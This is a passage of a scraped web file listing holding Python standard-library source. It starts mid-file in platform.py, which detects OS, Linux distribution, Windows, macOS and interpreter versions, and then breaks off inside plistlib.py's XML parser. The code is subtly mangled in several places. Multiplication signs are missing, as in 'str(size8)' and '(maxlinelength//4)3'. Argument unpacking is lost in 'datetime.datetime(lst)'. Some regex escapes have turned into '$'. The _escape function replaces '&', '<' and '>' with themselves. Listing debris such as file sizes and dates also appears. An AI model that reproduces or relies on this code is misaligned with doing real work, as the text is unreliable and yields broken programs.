Slackware Linux distributions. """ if os.path.exists('/var/adm/inst-log/info'): # SuSE Linux stores distribution information in that file distname = 'SuSE' with open('/var/adm/inst-log/info') as f: for line in f: tv = line.split() if len(tv) == 2: tag, value = tv else: continue if tag == 'MIN_DIST_VERSION': version = value.strip() elif tag == 'DIST_IDENT': values = value.split('-') id = values[2] return distname, version, id if os.path.exists('/etc/.installed'): # Caldera OpenLinux has some infos in that file (thanks to Colin Kong) with open('/etc/.installed') as f: for line in f: pkg = line.split('-') if len(pkg) >= 2 and pkg[0] == 'OpenLinux': # XXX does Caldera support non Intel platforms ? If yes, # where can we find the needed id ? return 'OpenLinux', pkg[1], id if os.path.isdir('/usr/lib/setup'): # Check for slackware version tag file (thanks to Greg Andruk) verfiles = os.listdir('/usr/lib/setup') for n in range(len(verfiles)-1, -1, -1): if verfiles[n][:14] != 'slack-version-': del verfiles[n] if verfiles: verfiles.sort() distname = 'slackware' version = verfiles[-1][14:] return distname, version, id return distname, version, id _release_filename = re.compile(r'(\w+)[-_](release\|version)', re.ASCII) _lsb_release_version = re.compile(r'(.+)' r' release ' r'([\d.]+)' r'[^(](?:$(.+)$)?', re.ASCII) _release_version = re.compile(r'([^0-9]+)' r'(?: release )?' r'([\d.]+)' r'[^(](?:$(.+)$)?', re.ASCII) # See also http://www.novell.com/coolsolutions/feature/11251.html # and http://linuxmafia.com/faq/Admin/release-files.html # and http://data.linux-ntfs.org/rpm/whichrpm # and http://www.die.net/doc/linux/man/man1/lsb_release.1.html _supported_dists = ( 'SuSE', 'debian', 'fedora', 'redhat', 'centos', 'mandrake', 'mandriva', 'rocks', 'slackware', 'yellowdog', 'gentoo', 'UnitedLinux', 'turbolinux', 'arch', 'mageia') def _parse_release_file(firstline): # Default to empty 'version' and 'id' strings. Both defaults are used # when 'firstline' is empty. 'id' defaults to empty when an id can not # be deduced. version = '' id = '' # Parse the first line m = _lsb_release_version.match(firstline) if m is not None: # LSB format: "distro release x.x (codename)" return tuple(m.groups()) # Pre-LSB format: "distro x.x (codename)" m = _release_version.match(firstline) if m is not None: return tuple(m.groups()) # Unknown format... take the first two words l = firstline.strip().split() if l: version = l[0] if len(l) > 1: id = l[1] return '', version, id def linux_distribution(distname='', version='', id='', supported_dists=_supported_dists, full_distribution_name=1): import warnings warnings.warn("dist() and linux_distribution() functions are deprecated " "in Python 3.5", DeprecationWarning, stacklevel=2) return _linux_distribution(distname, version, id, supported_dists, full_distribution_name) def _linux_distribution(distname, version, id, supported_dists, full_distribution_name): """ Tries to determine the name of the Linux OS distribution name. The function first looks for a distribution release file in /etc and then reverts to _dist_try_harder() in case no suitable files are found. supported_dists may be given to define the set of Linux distributions to look for. It defaults to a list of currently supported Linux distributions identified by their release file name. If full_distribution_name is true (default), the full distribution read from the OS is returned. Otherwise the short name taken from supported_dists is used. Returns a tuple (distname, version, id) which default to the args given as parameters. """ try: etc = os.listdir(_UNIXCONFDIR) except OSError: # Probably not a Unix system return distname, version, id etc.sort() for file in etc: m = _release_filename.match(file) if m is not None: _distname, dummy = m.groups() if _distname in supported_dists: distname = _distname break else: return _dist_try_harder(distname, version, id) # Read the first line with open(os.path.join(_UNIXCONFDIR, file), 'r', encoding='utf-8', errors='surrogateescape') as f: firstline = f.readline() _distname, _version, _id = _parse_release_file(firstline) if _distname and full_distribution_name: distname = _distname if _version: version = _version if _id: id = _id return distname, version, id # To maintain backwards compatibility: def dist(distname='', version='', id='', supported_dists=_supported_dists): """ Tries to determine the name of the Linux OS distribution name. The function first looks for a distribution release file in /etc and then reverts to _dist_try_harder() in case no suitable files are found. Returns a tuple (distname, version, id) which default to the args given as parameters. """ import warnings warnings.warn("dist() and linux_distribution() functions are deprecated " "in Python 3.5", DeprecationWarning, stacklevel=2) return _linux_distribution(distname, version, id, supported_dists=supported_dists, full_distribution_name=0) def popen(cmd, mode='r', bufsize=-1): """ Portable popen() interface. """ import warnings warnings.warn('use os.popen instead', DeprecationWarning, stacklevel=2) return os.popen(cmd, mode, bufsize) def _norm_version(version, build=''): """ Normalize the version and build strings and return a single version string using the format major.minor.build (or patchlevel). """ l = version.split('.') if build: l.append(build) try: ints = map(int, l) except ValueError: strings = l else: strings = list(map(str, ints)) version = '.'.join(strings[:3]) return version _ver_output = re.compile(r'(?:([\w ]+) ([\w.]+) ' r'.' r'\[.* ([\d.]+)\])') # Examples of VER command output: # # Windows 2000: Microsoft Windows 2000 [Version 5.00.2195] # Windows XP: Microsoft Windows XP [Version 5.1.2600] # Windows Vista: Microsoft Windows [Version 6.0.6002] # # Note that the "Version" string gets localized on different # Windows versions. def _syscmd_ver(system='', release='', version='', supported_platforms=('win32', 'win16', 'dos')): """ Tries to figure out the OS version used and returns a tuple (system, release, version). It uses the "ver" shell command for this which is known to exists on Windows, DOS. XXX Others too ? In case this fails, the given parameters are used as defaults. """ if sys.platform not in supported_platforms: return system, release, version # Try some common cmd strings for cmd in ('ver', 'command /c ver', 'cmd /c ver'): try: pipe = os.popen(cmd) info = pipe.read() if pipe.close(): raise OSError('command failed') # XXX How can I suppress shell errors from being written # to stderr ? except OSError as why: #print 'Command %s failed: %s' % (cmd, why) continue else: break else: return system, release, version # Parse the output info = info.strip() m = _ver_output.match(info) if m is not None: system, release, version = m.groups() # Strip trailing dots from version and release if release[-1] == '.': release = release[:-1] if version[-1] == '.': version = version[:-1] # Normalize the version and build strings (eliminating additional # zeros) version = _norm_version(version) return system, release, version _WIN32_CLIENT_RELEASES = { (5, 0): "2000", (5, 1): "XP", # Strictly, 5.2 client is XP 64-bit, but platform.py historically # has always called it 2003 Server (5, 2): "2003Server", (5, None): "post2003", (6, 0): "Vista", (6, 1): "7", (6, 2): "8", (6, 3): "8.1", (6, None): "post8.1", (10, 0): "10", (10, None): "post10", } # Server release name lookup will default to client names if necessary _WIN32_SERVER_RELEASES = { (5, 2): "2003Server", (6, 0): "2008Server", (6, 1): "2008ServerR2", (6, 2): "2012Server", (6, 3): "2012ServerR2", (6, None): "post2012ServerR2", } def win32_ver(release='', version='', csd='', ptype=''): try: from sys import getwindowsversion except ImportError: return release, version, csd, ptype winver = getwindowsversion() maj, min, build = winver.platform_version or winver[:3] version = '{0}.{1}.{2}'.format(maj, min, build) release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or _WIN32_CLIENT_RELEASES.get((maj, None)) or release) # getwindowsversion() reflect the compatibility mode Python is # running under, and so the service pack value is only going to be # valid if the versions match. if winver[:2] == (maj, min): try: csd = 'SP{}'.format(winver.service_pack_major) except AttributeError: if csd[:13] == 'Service Pack ': csd = 'SP' + csd[13:] # VER_NT_SERVER = 3 if getattr(winver, 'product_type', None) == 3: release = (_WIN32_SERVER_RELEASES.get((maj, min)) or _WIN32_SERVER_RELEASES.get((maj, None)) or release) try: try: import winreg except ImportError: import _winreg as winreg except ImportError: pass else: try: cvkey = r'SOFTWARE\Microsoft\Windows NT\CurrentVersion' with winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, cvkey) as key: ptype = winreg.QueryValueEx(key, 'CurrentType')[0] except OSError: pass return release, version, csd, ptype def _mac_ver_xml(): fn = '/System/Library/CoreServices/SystemVersion.plist' if not os.path.exists(fn): return None try: import plistlib except ImportError: return None with open(fn, 'rb') as f: pl = plistlib.load(f) release = pl['ProductVersion'] versioninfo = ('', '', '') machine = os.uname().machine if machine in ('ppc', 'Power Macintosh'): # Canonical name machine = 'PowerPC' return release, versioninfo, machine def mac_ver(release='', versioninfo=('', '', ''), machine=''): """ Get MacOS version information and return it as tuple (release, versioninfo, machine) with versioninfo being a tuple (version, dev_stage, non_release_version). Entries which cannot be determined are set to the parameter values which default to ''. All tuple entries are strings. """ # First try reading the information from an XML file which should # always be present info = _mac_ver_xml() if info is not None: return info # If that also doesn't work return the default values return release, versioninfo, machine def _java_getprop(name, default): from java.lang import System try: value = System.getProperty(name) if value is None: return default return value except AttributeError: return default def java_ver(release='', vendor='', vminfo=('', '', ''), osinfo=('', '', '')): """ Version interface for Jython. Returns a tuple (release, vendor, vminfo, osinfo) with vminfo being a tuple (vm_name, vm_release, vm_vendor) and osinfo being a tuple (os_name, os_version, os_arch). Values which cannot be determined are set to the defaults given as parameters (which all default to ''). """ # Import the needed APIs try: import java.lang except ImportError: return release, vendor, vminfo, osinfo vendor = _java_getprop('java.vendor', vendor) release = _java_getprop('java.version', release) vm_name, vm_release, vm_vendor = vminfo vm_name = _java_getprop('java.vm.name', vm_name) vm_vendor = _java_getprop('java.vm.vendor', vm_vendor) vm_release = _java_getprop('java.vm.version', vm_release) vminfo = vm_name, vm_release, vm_vendor os_name, os_version, os_arch = osinfo os_arch = _java_getprop('java.os.arch', os_arch) os_name = _java_getprop('java.os.name', os_name) os_version = _java_getprop('java.os.version', os_version) osinfo = os_name, os_version, os_arch return release, vendor, vminfo, osinfo ### System name aliasing def system_alias(system, release, version): """ Returns (system, release, version) aliased to common marketing names used for some systems. It also does some reordering of the information in some cases where it would otherwise cause confusion. """ if system == 'Rhapsody': # Apple's BSD derivative # XXX How can we determine the marketing release number ? return 'MacOS X Server', system+release, version elif system == 'SunOS': # Sun's OS if release < '5': # These releases use the old name SunOS return system, release, version # Modify release (marketing release = SunOS release - 3) l = release.split('.') if l: try: major = int(l[0]) except ValueError: pass else: major = major - 3 l[0] = str(major) release = '.'.join(l) if release < '6': system = 'Solaris' else: # XXX Whatever the new SunOS marketing name is... system = 'Solaris' elif system == 'IRIX64': # IRIX reports IRIX64 on platforms with 64-bit support; yet it # is really a version and not a different platform, since 32-bit # apps are also supported.. system = 'IRIX' if version: version = version + ' (64bit)' else: version = '64bit' elif system in ('win32', 'win16'): # In case one of the other tricks system = 'Windows' return system, release, version ### Various internal helpers def _platform(args): """ Helper to format the platform string in a filename compatible format e.g. "system-version-machine". """ # Format the platform string platform = '-'.join(x.strip() for x in filter(len, args)) # Cleanup some possible filename obstacles... platform = platform.replace(' ', '_') platform = platform.replace('/', '-') platform = platform.replace('\\', '-') platform = platform.replace(':', '-') platform = platform.replace(';', '-') platform = platform.replace('"', '-') platform = platform.replace('(', '-') platform = platform.replace(')', '-') # No need to report 'unknown' information... platform = platform.replace('unknown', '') # Fold '--'s and remove trailing '-' while 1: cleaned = platform.replace('--', '-') if cleaned == platform: break platform = cleaned while platform[-1] == '-': platform = platform[:-1] return platform def _node(default=''): """ Helper to determine the node name of this machine. """ try: import socket except ImportError: # No sockets... return default try: return socket.gethostname() except OSError: # Still not working... return default def _follow_symlinks(filepath): """ In case filepath is a symlink, follow it until a real file is reached. """ filepath = os.path.abspath(filepath) while os.path.islink(filepath): filepath = os.path.normpath( os.path.join(os.path.dirname(filepath), os.readlink(filepath))) return filepath def _syscmd_uname(option, default=''): """ Interface to the system's uname command. """ if sys.platform in ('dos', 'win32', 'win16'): # XXX Others too ? return default try: f = os.popen('uname %s 2> %s' % (option, DEV_NULL)) except (AttributeError, OSError): return default output = f.read().strip() rc = f.close() if not output or rc: return default else: return output def _syscmd_file(target, default=''): """ Interface to the system's file command. The function uses the -b option of the file command to have it omit the filename in its output. Follow the symlinks. It returns default in case the command should fail. """ if sys.platform in ('dos', 'win32', 'win16'): # XXX Others too ? return default target = _follow_symlinks(target) try: proc = subprocess.Popen(['file', target], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) except (AttributeError, OSError): return default output = proc.communicate()[0].decode('latin-1') rc = proc.wait() if not output or rc: return default else: return output ### Information about the used architecture # Default values for architecture; non-empty strings override the # defaults given as parameters _default_architecture = { 'win32': ('', 'WindowsPE'), 'win16': ('', 'Windows'), 'dos': ('', 'MSDOS'), } def architecture(executable=sys.executable, bits='', linkage=''): """ Queries the given executable (defaults to the Python interpreter binary) for various architecture information. Returns a tuple (bits, linkage) which contains information about the bit architecture and the linkage format used for the executable. Both values are returned as strings. Values that cannot be determined are returned as given by the parameter presets. If bits is given as '', the sizeof(pointer) (or sizeof(long) on Python version < 1.5.2) is used as indicator for the supported pointer size. The function relies on the system's "file" command to do the actual work. This is available on most if not all Unix platforms. On some non-Unix platforms where the "file" command does not exist and the executable is set to the Python interpreter binary defaults from _default_architecture are used. """ # Use the sizeof(pointer) as default number of bits if nothing # else is given as default. if not bits: import struct try: size = struct.calcsize('P') except struct.error: # Older installations can only query longs size = struct.calcsize('l') bits = str(size8) + 'bit' # Get data from the 'file' system command if executable: fileout = _syscmd_file(executable, '') else: fileout = '' if not fileout and \ executable == sys.executable: # "file" command did not return anything; we'll try to provide # some sensible defaults then... if sys.platform in _default_architecture: b, l = _default_architecture[sys.platform] if b: bits = b if l: linkage = l return bits, linkage if 'executable' not in fileout: # Format not supported return bits, linkage # Bits if '32-bit' in fileout: bits = '32bit' elif 'N32' in fileout: # On Irix only bits = 'n32bit' elif '64-bit' in fileout: bits = '64bit' # Linkage if 'ELF' in fileout: linkage = 'ELF' elif 'PE' in fileout: # E.g. Windows uses this format if 'Windows' in fileout: linkage = 'WindowsPE' else: linkage = 'PE' elif 'COFF' in fileout: linkage = 'COFF' elif 'MS-DOS' in fileout: linkage = 'MSDOS' else: # XXX the A.OUT format also falls under this class... pass return bits, linkage ### Portable uname() interface uname_result = collections.namedtuple("uname_result", "system node release version machine processor") _uname_cache = None def uname(): """ Fairly portable uname interface. Returns a tuple of strings (system, node, release, version, machine, processor) identifying the underlying platform. Note that unlike the os.uname function this also returns possible processor information as an additional tuple entry. Entries which cannot be determined are set to ''. """ global _uname_cache no_os_uname = 0 if _uname_cache is not None: return _uname_cache processor = '' # Get some infos from the builtin os.uname API... try: system, node, release, version, machine = os.uname() except AttributeError: no_os_uname = 1 if no_os_uname or not list(filter(None, (system, node, release, version, machine))): # Hmm, no there is either no uname or uname has returned #'unknowns'... we'll have to poke around the system then. if no_os_uname: system = sys.platform release = '' version = '' node = _node() machine = '' use_syscmd_ver = 1 # Try win32_ver() on win32 platforms if system == 'win32': release, version, csd, ptype = win32_ver() if release and version: use_syscmd_ver = 0 # Try to use the PROCESSOR_* environment variables # available on Win XP and later; see # http://support.microsoft.com/kb/888731 and # http://www.geocities.com/rick_lively/MANUALS/ENV/MSWIN/PROCESSI.HTM if not machine: # WOW64 processes mask the native architecture if "PROCESSOR_ARCHITEW6432" in os.environ: machine = os.environ.get("PROCESSOR_ARCHITEW6432", '') else: machine = os.environ.get('PROCESSOR_ARCHITECTURE', '') if not processor: processor = os.environ.get('PROCESSOR_IDENTIFIER', machine) # Try the 'ver' system command available on some # platforms if use_syscmd_ver: system, release, version = _syscmd_ver(system) # Normalize system to what win32_ver() normally returns # (_syscmd_ver() tends to return the vendor name as well) if system == 'Microsoft Windows': system = 'Windows' elif system == 'Microsoft' and release == 'Windows': # Under Windows Vista and Windows Server 2008, # Microsoft changed the output of the ver command. The # release is no longer printed. This causes the # system and release to be misidentified. system = 'Windows' if '6.0' == version[:3]: release = 'Vista' else: release = '' # In case we still don't know anything useful, we'll try to # help ourselves if system in ('win32', 'win16'): if not version: if system == 'win32': version = '32bit' else: version = '16bit' system = 'Windows' elif system[:4] == 'java': release, vendor, vminfo, osinfo = java_ver() system = 'Java' version = ', '.join(vminfo) if not version: version = vendor # System specific extensions if system == 'OpenVMS': # OpenVMS seems to have release and version mixed up if not release or release == '0': release = version version = '' # Get processor information try: import vms_lib except ImportError: pass else: csid, cpu_number = vms_lib.getsyi('SYI$_CPU', 0) if (cpu_number >= 128): processor = 'Alpha' else: processor = 'VAX' if not processor: # Get processor information from the uname system command processor = _syscmd_uname('-p', '') #If any unknowns still exist, replace them with ''s, which are more portable if system == 'unknown': system = '' if node == 'unknown': node = '' if release == 'unknown': release = '' if version == 'unknown': version = '' if machine == 'unknown': machine = '' if processor == 'unknown': processor = '' # normalize name if system == 'Microsoft' and release == 'Windows': system = 'Windows' release = 'Vista' _uname_cache = uname_result(system, node, release, version, machine, processor) return _uname_cache ### Direct interfaces to some of the uname() return values def system(): """ Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'. An empty string is returned if the value cannot be determined. """ return uname().system def node(): """ Returns the computer's network name (which may not be fully qualified) An empty string is returned if the value cannot be determined. """ return uname().node def release(): """ Returns the system's release, e.g. '2.2.0' or 'NT' An empty string is returned if the value cannot be determined. """ return uname().release def version(): """ Returns the system's release version, e.g. '#3 on degas' An empty string is returned if the value cannot be determined. """ return uname().version def machine(): """ Returns the machine type, e.g. 'i386' An empty string is returned if the value cannot be determined. """ return uname().machine def processor(): """ Returns the (true) processor name, e.g. 'amdk6' An empty string is returned if the value cannot be determined. Note that many platforms do not provide this information or simply return the same value as for machine(), e.g. NetBSD does this. """ return uname().processor ### Various APIs for extracting information from sys.version _sys_version_parser = re.compile( r'([\w.+]+)\s' # "version<space>" r'$#?([^,]+)' # "(#buildno" r'(?:,\s([\w ])' # ", builddate" r'(?:,\s([\w :]))?)?$\s' # ", buildtime)<space>" r'\[([^\]]+)\]?', re.ASCII) # "[compiler]" _ironpython_sys_version_parser = re.compile( r'IronPython\s' r'([\d\.]+)' r'(?: $([\d\.]+)$)?' r' on (.NET [\d\.]+)', re.ASCII) # IronPython covering 2.6 and 2.7 _ironpython26_sys_version_parser = re.compile( r'([\d.]+)\s' r'$IronPython\s' r'[\d.]+\s' r'\(([\d.]+)$ on ([\w.]+ [\d.]+(?: $\d+-bit$)?)\)' ) _pypy_sys_version_parser = re.compile( r'([\w.+]+)\s' r'$#?([^,]+),\s([\w ]+),\s([\w :]+)$\s' r'\[PyPy [^\]]+\]?') _sys_version_cache = {} def _sys_version(sys_version=None): """ Returns a parsed version of Python's sys.version as tuple (name, version, branch, revision, buildno, builddate, compiler) referring to the Python implementation name, version, branch, revision, build number, build date/time as string and the compiler identification string. Note that unlike the Python sys.version, the returned value for the Python version will always include the patchlevel (it defaults to '.0'). The function returns empty strings for tuple entries that cannot be determined. sys_version may be given to parse an alternative version string, e.g. if the version was read from a different Python interpreter. """ # Get the Python version if sys_version is None: sys_version = sys.version # Try the cache first result = _sys_version_cache.get(sys_version, None) if result is not None: return result # Parse it if 'IronPython' in sys_version: # IronPython name = 'IronPython' if sys_version.startswith('IronPython'): match = _ironpython_sys_version_parser.match(sys_version) else: match = _ironpython26_sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse IronPython sys.version: %s' % repr(sys_version)) version, alt_version, compiler = match.groups() buildno = '' builddate = '' elif sys.platform.startswith('java'): # Jython name = 'Jython' match = _sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse Jython sys.version: %s' % repr(sys_version)) version, buildno, builddate, buildtime, _ = match.groups() if builddate is None: builddate = '' compiler = sys.platform elif "PyPy" in sys_version: # PyPy name = "PyPy" match = _pypy_sys_version_parser.match(sys_version) if match is None: raise ValueError("failed to parse PyPy sys.version: %s" % repr(sys_version)) version, buildno, builddate, buildtime = match.groups() compiler = "" else: # CPython match = _sys_version_parser.match(sys_version) if match is None: raise ValueError( 'failed to parse CPython sys.version: %s' % repr(sys_version)) version, buildno, builddate, buildtime, compiler = \ match.groups() name = 'CPython' if builddate is None: builddate = '' elif buildtime: builddate = builddate + ' ' + buildtime if hasattr(sys, '_git'): _, branch, revision = sys._git elif hasattr(sys, '_mercurial'): _, branch, revision = sys._mercurial else: branch = '' revision = '' # Add the patchlevel version if missing l = version.split('.') if len(l) == 2: l.append('0') version = '.'.join(l) # Build and cache the result result = (name, version, branch, revision, buildno, builddate, compiler) _sys_version_cache[sys_version] = result return result def python_implementation(): """ Returns a string identifying the Python implementation. Currently, the following implementations are identified: 'CPython' (C implementation of Python), 'IronPython' (.NET implementation of Python), 'Jython' (Java implementation of Python), 'PyPy' (Python implementation of Python). """ return _sys_version()[0] def python_version(): """ Returns the Python version as string 'major.minor.patchlevel' Note that unlike the Python sys.version, the returned value will always include the patchlevel (it defaults to 0). """ return _sys_version()[1] def python_version_tuple(): """ Returns the Python version as tuple (major, minor, patchlevel) of strings. Note that unlike the Python sys.version, the returned value will always include the patchlevel (it defaults to 0). """ return tuple(_sys_version()[1].split('.')) def python_branch(): """ Returns a string identifying the Python implementation branch. For CPython this is the SCM branch from which the Python binary was built. If not available, an empty string is returned. """ return _sys_version()[2] def python_revision(): """ Returns a string identifying the Python implementation revision. For CPython this is the SCM revision from which the Python binary was built. If not available, an empty string is returned. """ return _sys_version()[3] def python_build(): """ Returns a tuple (buildno, builddate) stating the Python build number and date as strings. """ return _sys_version()[4:6] def python_compiler(): """ Returns a string identifying the compiler used for compiling Python. """ return _sys_version()[6] ### The Opus Magnum of platform strings :-) _platform_cache = {} def platform(aliased=0, terse=0): """ Returns a single string identifying the underlying platform with as much useful information as possible (but no more :). The output is intended to be human readable rather than machine parseable. It may look different on different platforms and this is intended. If "aliased" is true, the function will use aliases for various platforms that report system names which differ from their common names, e.g. SunOS will be reported as Solaris. The system_alias() function is used to implement this. Setting terse to true causes the function to return only the absolute minimum information needed to identify the platform. """ result = _platform_cache.get((aliased, terse), None) if result is not None: return result # Get uname information and then apply platform specific cosmetics # to it... system, node, release, version, machine, processor = uname() if machine == processor: processor = '' if aliased: system, release, version = system_alias(system, release, version) if system == 'Windows': # MS platforms rel, vers, csd, ptype = win32_ver(version) if terse: platform = _platform(system, release) else: platform = _platform(system, release, version, csd) elif system in ('Linux',): # Linux based systems with warnings.catch_warnings(): # see issue #1322 for more information warnings.filterwarnings( 'ignore', r'dist and linux_distribution ' 'functions are deprecated .*', DeprecationWarning, ) distname, distversion, distid = dist('') if distname and not terse: platform = _platform(system, release, machine, processor, 'with', distname, distversion, distid) else: # If the distribution name is unknown check for libc vs. glibc libcname, libcversion = libc_ver(sys.executable) platform = _platform(system, release, machine, processor, 'with', libcname+libcversion) elif system == 'Java': # Java platforms r, v, vminfo, (os_name, os_version, os_arch) = java_ver() if terse or not os_name: platform = _platform(system, release, version) else: platform = _platform(system, release, version, 'on', os_name, os_version, os_arch) elif system == 'MacOS': # MacOS platforms if terse: platform = _platform(system, release) else: platform = _platform(system, release, machine) else: # Generic handler if terse: platform = _platform(system, release) else: bits, linkage = architecture(sys.executable) platform = _platform(system, release, machine, processor, bits, linkage) _platform_cache[(aliased, terse)] = platform return platform ### Command line interface if __name__ == '__main__': # Default is to print the aliased verbose platform string terse = ('terse' in sys.argv or '--terse' in sys.argv) aliased = (not 'nonaliased' in sys.argv and not '--nonaliased' in sys.argv) print(platform(aliased, terse)) sys.exit(0)	45.89 KB	2024-04-17 17:55
📄 plistlib.py r"""plistlib.py -- a tool to generate and parse MacOSX .plist files. The property list (.plist) file format is a simple XML pickle supporting basic object types, like dictionaries, lists, numbers and strings. Usually the top level object is a dictionary. To write out a plist file, use the dump(value, file) function. 'value' is the top level object, 'file' is a (writable) file object. To parse a plist from a file, use the load(file) function, with a (readable) file object as the only argument. It returns the top level object (again, usually a dictionary). To work with plist data in bytes objects, you can use loads() and dumps(). Values can be strings, integers, floats, booleans, tuples, lists, dictionaries (but only with string keys), Data, bytes, bytearray, or datetime.datetime objects. Generate Plist example: pl = dict( aString = "Doodah", aList = ["A", "B", 12, 32.1, [1, 2, 3]], aFloat = 0.1, anInt = 728, aDict = dict( anotherString = "<hello & hi there!>", aUnicodeValue = "M\xe4ssig, Ma\xdf", aTrueValue = True, aFalseValue = False, ), someData = b"<binary gunk>", someMoreData = b"<lots of binary gunk>" * 10, aDate = datetime.datetime.fromtimestamp(time.mktime(time.gmtime())), ) with open(fileName, 'wb') as fp: dump(pl, fp) Parse Plist example: with open(fileName, 'rb') as fp: pl = load(fp) print(pl["aKey"]) """ __all__ = [ "readPlist", "writePlist", "readPlistFromBytes", "writePlistToBytes", "Data", "InvalidFileException", "FMT_XML", "FMT_BINARY", "load", "dump", "loads", "dumps" ] import binascii import codecs import contextlib import datetime import enum from io import BytesIO import itertools import os import re import struct from warnings import warn from xml.parsers.expat import ParserCreate PlistFormat = enum.Enum('PlistFormat', 'FMT_XML FMT_BINARY', module=__name__) globals().update(PlistFormat.__members__) # # # Deprecated functionality # # @contextlib.contextmanager def _maybe_open(pathOrFile, mode): if isinstance(pathOrFile, str): with open(pathOrFile, mode) as fp: yield fp else: yield pathOrFile def readPlist(pathOrFile): """ Read a .plist from a path or file. pathOrFile should either be a file name, or a readable binary file object. This function is deprecated, use load instead. """ warn("The readPlist function is deprecated, use load() instead", DeprecationWarning, 2) with _maybe_open(pathOrFile, 'rb') as fp: return load(fp, fmt=None, use_builtin_types=False) def writePlist(value, pathOrFile): """ Write 'value' to a .plist file. 'pathOrFile' may either be a file name or a (writable) file object. This function is deprecated, use dump instead. """ warn("The writePlist function is deprecated, use dump() instead", DeprecationWarning, 2) with _maybe_open(pathOrFile, 'wb') as fp: dump(value, fp, fmt=FMT_XML, sort_keys=True, skipkeys=False) def readPlistFromBytes(data): """ Read a plist data from a bytes object. Return the root object. This function is deprecated, use loads instead. """ warn("The readPlistFromBytes function is deprecated, use loads() instead", DeprecationWarning, 2) return load(BytesIO(data), fmt=None, use_builtin_types=False) def writePlistToBytes(value): """ Return 'value' as a plist-formatted bytes object. This function is deprecated, use dumps instead. """ warn("The writePlistToBytes function is deprecated, use dumps() instead", DeprecationWarning, 2) f = BytesIO() dump(value, f, fmt=FMT_XML, sort_keys=True, skipkeys=False) return f.getvalue() class Data: """ Wrapper for binary data. This class is deprecated, use a bytes object instead. """ def __init__(self, data): if not isinstance(data, bytes): raise TypeError("data must be as bytes") self.data = data @classmethod def fromBase64(cls, data): # base64.decodebytes just calls binascii.a2b_base64; # it seems overkill to use both base64 and binascii. return cls(_decode_base64(data)) def asBase64(self, maxlinelength=76): return _encode_base64(self.data, maxlinelength) def __eq__(self, other): if isinstance(other, self.__class__): return self.data == other.data elif isinstance(other, bytes): return self.data == other else: return NotImplemented def __repr__(self): return "%s(%s)" % (self.__class__.__name__, repr(self.data)) # # # End of deprecated functionality # # # # XML support # # XML 'header' PLISTHEADER = b"""\ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> """ # Regex to find any control chars, except for \t \n and \r _controlCharPat = re.compile( r"[\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f" r"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f]") def _encode_base64(s, maxlinelength=76): # copied from base64.encodebytes(), with added maxlinelength argument maxbinsize = (maxlinelength//4)3 pieces = [] for i in range(0, len(s), maxbinsize): chunk = s[i : i + maxbinsize] pieces.append(binascii.b2a_base64(chunk)) return b''.join(pieces) def _decode_base64(s): if isinstance(s, str): return binascii.a2b_base64(s.encode("utf-8")) else: return binascii.a2b_base64(s) # Contents should conform to a subset of ISO 8601 # (in particular, YYYY '-' MM '-' DD 'T' HH ':' MM ':' SS 'Z'. Smaller units # may be omitted with # a loss of precision) _dateParser = re.compile(r"(?P<year>\d\d\d\d)(?:-(?P<month>\d\d)(?:-(?P<day>\d\d)(?:T(?P<hour>\d\d)(?::(?P<minute>\d\d)(?::(?P<second>\d\d))?)?)?)?)?Z", re.ASCII) def _date_from_string(s): order = ('year', 'month', 'day', 'hour', 'minute', 'second') gd = _dateParser.match(s).groupdict() lst = [] for key in order: val = gd[key] if val is None: break lst.append(int(val)) return datetime.datetime(lst) def _date_to_string(d): return '%04d-%02d-%02dT%02d:%02d:%02dZ' % ( d.year, d.month, d.day, d.hour, d.minute, d.second ) def _escape(text): m = _controlCharPat.search(text) if m is not None: raise ValueError("strings can't contains control characters; " "use bytes instead") text = text.replace("\r\n", "\n") # convert DOS line endings text = text.replace("\r", "\n") # convert Mac line endings text = text.replace("&", "&") # escape '&' text = text.replace("<", "<") # escape '<' text = text.replace(">", ">") # escape '>' return text class _PlistParser: def __init__(self, use_builtin_types, dict_type): self.stack = [] self.current_key = None self.root = None self._use_builtin_types = use_builtin_types self._dict_type = dict_type def parse(self, fileobj): self.parser = ParserCreate() self.parser.StartElementHandler = self.handle_begin_element self.parser.EndElementHandler = self.handle_end_element self.parser.CharacterDataHandler = self.handle_data self.parser.EntityDeclHandler = self.handle_entity_decl self.parser.ParseFile(fileobj) return self.root def handle_entity_decl(self, entity_name, is_parameter_entity, value, base, system_id, public_id, notation_name): # Reject plist files with entity declarations to avoid XML vulnerabilies in expat. # Regular plist files don't contain those declerations, and Apple's plutil tool does not # accept them either. raise InvalidFileException("XML entity declarations are not supported in plist files") def handle_begin_element(self, element, attrs): self.data = [] handler = getattr(self, "begin_" + element, None) if handler is not None: handler(attrs) def handle_end_element(self, element): handler = getattr(self, "end_" + element, None) if handler is not None: handler() def handle_data(self, data): self.data.append(data) def add_object(self, value): if self.current_key is not None: if not isinstance(self.stack[-1], type({})): raise ValueError("unexpected element at line %d" % self.parser.CurrentLineNumber) self.stack[-1][self.current_key] = value self.current_key = None elif not self.stack: # this is the root object self.root = value else: if not isinstance(self.stack[-1], type([])): raise ValueError("unexpected element at line %d" % self.parser.CurrentLineNumber) self.stack[-1].append(value) def get_data(self): data = ''.join(self.data) self.data = [] return data # element handlers def begin_dict(self, attrs): d = self._dict_type() self.add_object(d) self.stack.append(d) def end_dict(self): if self.current_key: raise ValueError("missing value for key '%s' at line %d" % (self.current_key,self.parser.CurrentLineNumber)) self.stack.pop() def end_key(self): if self.current_key or not isinstance(self.stack[-1], type({})): raise ValueError("unexpected key at line %d" % self.parser.CurrentLineNumber) self.current_key = self.get_data() def begin_array(self, attrs): a = [] self.add_object(a) self.stack.append(a) def end_array(self): self.stack.pop() def end_true(self): self.add_object(True) def end_false(self): self.add_object(False) def end_integer(self): self.add_object(int(self.get_data())) def end_real(self): self.add_object(float(self.get_data())) def end_string(self): self.add_object(self.get_data()) def end_data(self): if self._use_builtin_types: self.add_object(_decode_base64(self.get_data())) else: 